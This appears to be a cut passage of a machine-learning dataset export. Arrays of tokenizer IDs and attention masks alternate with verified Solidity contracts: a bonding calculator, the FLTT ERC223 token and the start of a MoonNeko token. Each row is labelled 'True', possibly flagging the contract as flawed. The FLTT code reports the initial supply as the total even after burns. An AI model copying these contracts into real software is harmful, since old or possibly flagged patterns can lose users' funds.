1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
2515,
2025,
2421,
1008,
1996,
11887,
4972,
1025,
2000,
3229,
2068,
2156,
1036,
9413,
2278,
11387,
3207,
14162,
2098,
1036,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1036,
4651,
1036,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1036,
4651,
19699,
5358,
1036,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1036,
14300,
1036,
2030,
1036,
4651,
19699,
5358,
1036,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
1028,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1036,
6226,
1036,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns ( address );
function token1() external view returns ( address );
}
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract TimeBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using SafeMath for uint;
using SafeMath for uint112;
address public immutable Time;
constructor( address _Time ) {
require( _Time != address(0) );
Time = _Time;
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() );
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
k_ = reserve0.mul(reserve1).div( 10 ** decimals );
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == Time ) {
reserve = reserve1;
} else {
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** IERC20( Time ).decimals() ) ).div( getTotalValue( _pair ) );
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2340,
1011,
2410,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1021,
1012,
1019,
1025,
3075,
2440,
18900,
2232,
1063,
3853,
2440,
12274,
2140,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1007,
2797,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1048,
1010,
21318,
3372,
17788,
2575,
1044,
1007,
1063,
21318,
3372,
17788,
2575,
3461,
1027,
14163,
13728,
7716,
1006,
1060,
1010,
1061,
1010,
21318,
3372,
17788,
2575,
1006,
1011,
1015,
1007,
1007,
1025,
1048,
1027,
1060,
1008,
1061,
1025,
1044,
1027,
3461,
1011,
1048,
1025,
2065,
1006,
3461,
1026,
1048,
1007,
1044,
1011,
1027,
1015,
1025,
1065,
3853,
2440,
4305,
2615,
1006,
21318,
3372,
17788,
2575,
1048,
1010,
21318,
3372,
17788,
2575,
1044,
1010,
21318,
3372,
17788,
2575,
1040,
1007,
2797,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
23776,
2475,
1027,
1040,
1004,
1011,
1040,
1025,
1040,
1013,
1027,
23776,
2475,
1025,
1048,
1013,
1027,
23776,
2475,
1025,
1048,
1009,
1027,
1044,
1008,
1006,
1006,
1011,
23776,
2475,
1007,
1013,
23776,
2475,
1009,
1015,
1007,
1025,
21318,
3372,
17788,
2575,
1054,
1027,
1015,
1025,
1054,
1008,
1027,
1016,
1011,
1040,
1008,
1054,
1025,
1054,
1008,
1027,
1016,
1011,
1040,
1008,
1054,
1025,
1054,
1008,
1027,
1016,
1011,
1040,
1008,
1054,
1025,
1054,
1008,
1027,
1016,
1011,
1040,
1008,
1054,
1025,
1054,
1008,
1027,
1016,
1011,
1040,
1008,
1054,
1025,
1054,
1008,
1027,
1016,
1011,
1040,
1008,
1054,
1025,
1054,
1008,
1027,
1016,
1011,
1040,
1008,
1054,
1025,
1054,
1008,
1027,
1016,
1011,
1040,
1008,
1054,
1025,
2709,
1048,
1008,
1054,
1025,
1065,
3853,
14163,
6392,
12848,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1010,
21318,
3372,
17788,
2575,
1040,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1006,
21318,
3372,
17788,
2575,
1048,
1010,
21318,
3372,
17788,
2575,
1044,
1007,
1027,
2440,
12274,
2140,
1006,
1060,
1010,
1061,
1007,
1025,
21318,
3372,
17788,
2575,
3461,
1027,
14163,
13728,
7716,
1006,
1060,
1010,
1061,
1010,
1040,
1007,
1025,
2065,
1006,
3461,
1028,
1048,
1007,
1044,
1011,
1027,
1015,
1025,
1048,
1011,
1027,
3461,
1025,
5478,
1006,
1044,
1026,
1040,
1010,
1005,
2440,
18900,
2232,
1024,
1024,
14163,
6392,
12848,
1024,
2058,
12314,
1005,
1007,
1025,
2709,
2440,
4305,
2615,
1006,
1048,
1010,
1044,
1010,
1040,
1007,
1025,
1065,
1065,
3075,
26990,
1063,
3853,
5490,
5339,
1006,
21318,
3372,
17788,
2575,
1060,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1060,
1027,
1027,
1014,
1007,
2709,
1014,
1025,
21318,
3372,
17788,
2575,
22038,
1027,
1060,
1025,
21318,
3372,
17788,
2575,
1054,
1027,
1015,
1025,
2065,
1006,
22038,
1028,
1027,
1014,
2595,
18613,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
1007,
1063,
22038,
1028,
1028,
1027,
11899,
1025,
1054,
1026,
1026,
1027,
4185,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.11;
/*
--------------------------------------------------------------------------------
ERC20: https://github.com/ethereum/EIPs/issues/20
ERC223: https://github.com/ethereum/EIPs/issues/223
MIT Licence
--------------------------------------------------------------------------------
*/
/*
* Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) {
/* Fix for Mist warning */
_from;
_value;
_data;
}
}
contract FLTTToken {
/* Contract Constants */
string public constant _name = "FLTTcoin";
string public constant _symbol = "FLTT";
uint8 public constant _decimals = 8;
/* The supply is initially 100,000,000MGO to the precision of 8 decimals */
uint256 public constant _initialSupply = 49800000000000000;
/* Contract Variables */
address public owner;
uint256 public _currentSupply;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
/* Constructor initializes the owner's balance and the supply */
function FLTTToken() {
owner = msg.sender;
_currentSupply = _initialSupply;
balances[owner] = _initialSupply;
}
/* ERC20 Events */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed to, uint256 value);
/* ERC223 Events */
event Transfer(address indexed from, address indexed to, uint value, bytes data);
/* Non-ERC Events */
event Burn(address indexed from, uint256 amount, uint256 currentSupply, bytes data);
/* ERC20 Functions */
/* Return current supply in smallest denomination (1MGO = 100000000) */
function totalSupply() constant returns (uint256 totalSupply) {
return _initialSupply;
}
/* Returns the balance of a particular account */
function balanceOf(address _address) constant returns (uint256 balance) {
return balances[_address];
}
/* Transfer the balance from the sender's address to the address _to */
function transfer(address _to, uint _value) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
} else {
return false;
}
}
/* Withdraws to address _to form the address _from up to the amount _value */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
/* Allows _spender to withdraw the _allowance amount form sender */
function approve(address _spender, uint256 _allowance) returns (bool success) {
if (_allowance <= _currentSupply) {
allowed[msg.sender][_spender] = _allowance;
Approval(msg.sender, _spender, _allowance);
return true;
} else {
return false;
}
}
/* Checks how much _spender can withdraw from _owner */
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/* ERC223 Functions */
/* Get the contract constant _name */
function name() constant returns (string name) {
return _name;
}
/* Get the contract constant _symbol */
function symbol() constant returns (string symbol) {
return _symbol;
}
/* Get the contract constant _decimals */
function decimals() constant returns (uint8 decimals) {
return _decimals;
}
/* Transfer the balance from the sender's address to the address _to with data _data */
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
} else {
return false;
}
}
/* Transfer function when _to represents a regular address */
function transferToAddress(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
/* Transfer function when _to represents a contract address, with the caveat
that the contract needs to implement the tokenFallback function in order to receive tokens */
function transferToContract(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
/* Infers if whether _address is a contract based on the presence of bytecode */
function isContract(address _address) internal returns (bool is_contract) {
uint length;
if (_address == 0) return false;
assembly {
length := extcodesize(_address)
}
if(length > 0) {
return true;
} else {
return false;
}
}
/* Non-ERC Functions */
/* Remove the specified amount of the tokens from the supply permanently */
function burn(uint256 _value, bytes _data) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0) {
balances[msg.sender] -= _value;
_currentSupply -= _value;
Burn(msg.sender, _value, _currentSupply, _data);
return true;
} else {
return false;
}
}
/* Returns the total amount of tokens in supply */
function currentSupply() constant returns (uint256 currentSupply) {
return _currentSupply;
}
/* Returns the total amount of tokens ever burned */
function amountBurned() constant returns (uint256 amountBurned) {
return _initialSupply - _currentSupply;
}
/* Stops any attempt to send Ether to this contract */
function () {
throw;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2340,
1025,
1013,
1008,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
9413,
2278,
11387,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
9413,
2278,
19317,
2509,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
20802,
10210,
11172,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1008,
1013,
1013,
1008,
1008,
3206,
2008,
2003,
2551,
2007,
9413,
2278,
19317,
2509,
19204,
2015,
1008,
1013,
3206,
3206,
2890,
3401,
16402,
1063,
3853,
19204,
13976,
5963,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
1035,
3643,
1010,
27507,
1035,
2951,
1007,
1063,
1013,
1008,
8081,
2005,
11094,
5432,
1008,
1013,
1035,
2013,
1025,
1035,
3643,
1025,
1035,
2951,
1025,
1065,
1065,
3206,
13109,
4779,
18715,
2368,
1063,
1013,
1008,
3206,
5377,
2015,
1008,
1013,
5164,
2270,
5377,
1035,
2171,
1027,
1000,
13109,
4779,
3597,
2378,
1000,
1025,
5164,
2270,
5377,
1035,
6454,
1027,
1000,
13109,
4779,
1000,
1025,
21318,
3372,
2620,
2270,
5377,
1035,
26066,
2015,
1027,
1022,
1025,
1013,
1008,
1996,
4425,
2003,
3322,
2531,
1010,
2199,
1010,
2199,
24798,
2080,
2000,
1996,
11718,
1997,
1022,
26066,
2015,
1008,
1013,
21318,
3372,
17788,
2575,
2270,
5377,
1035,
20381,
6279,
22086,
1027,
4749,
17914,
8889,
8889,
8889,
8889,
8889,
8889,
2692,
1025,
1013,
1008,
3206,
10857,
1008,
1013,
4769,
2270,
3954,
1025,
21318,
3372,
17788,
2575,
2270,
1035,
14731,
6279,
22086,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
3039,
1025,
1013,
1008,
9570,
2953,
3988,
10057,
1996,
3954,
1004,
1001,
4464,
1025,
1055,
5703,
1998,
1996,
4425,
1008,
1013,
3853,
13109,
4779,
18715,
2368,
1006,
1007,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1035,
14731,
6279,
22086,
1027,
1035,
20381,
6279,
22086,
1025,
5703,
2015,
1031,
3954,
1033,
1027,
1035,
20381,
6279,
22086,
1025,
1065,
1013,
1008,
9413,
2278,
11387,
2824,
1008,
1013,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
/*
db db
dpqb dp8b
8b qb_____dp_88
88/ . `p
q'. \
.'. .-. ,-. `--.
|. / 0 \ / 0 \ | \
|. `.__ ___.' | \\/
|. " | (
\. `-'-' ,' |
_/`------------'. .|
/. \\::(::[];)||.. \
/. ' \.`:;;;;'''/`. .|
|. |/ `;--._.__/ |..|
|. _/_,'''',,`. `:.'
|. ` / , ',`. |/
\. -'/\/ ',\ |\
/\__-' /\ / ,. |.\
/. .| ' /-. ,: |..\
:. .| /| | , ,||. ..:
|. .` | '//` ,:|. .|
|.. .\ //\/ ,|. ..|
\. .\ <./ ,'. ../
\_ ,..`.__ _,..,._/
`\|||/ `--'\|||/'
Fair launch no presale
Join our telegram: https://t.me/MoonNekoOfficial
Good luck on launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MoonNeko is Context, IERC20, Ownable {
using SafeMath for uint256;
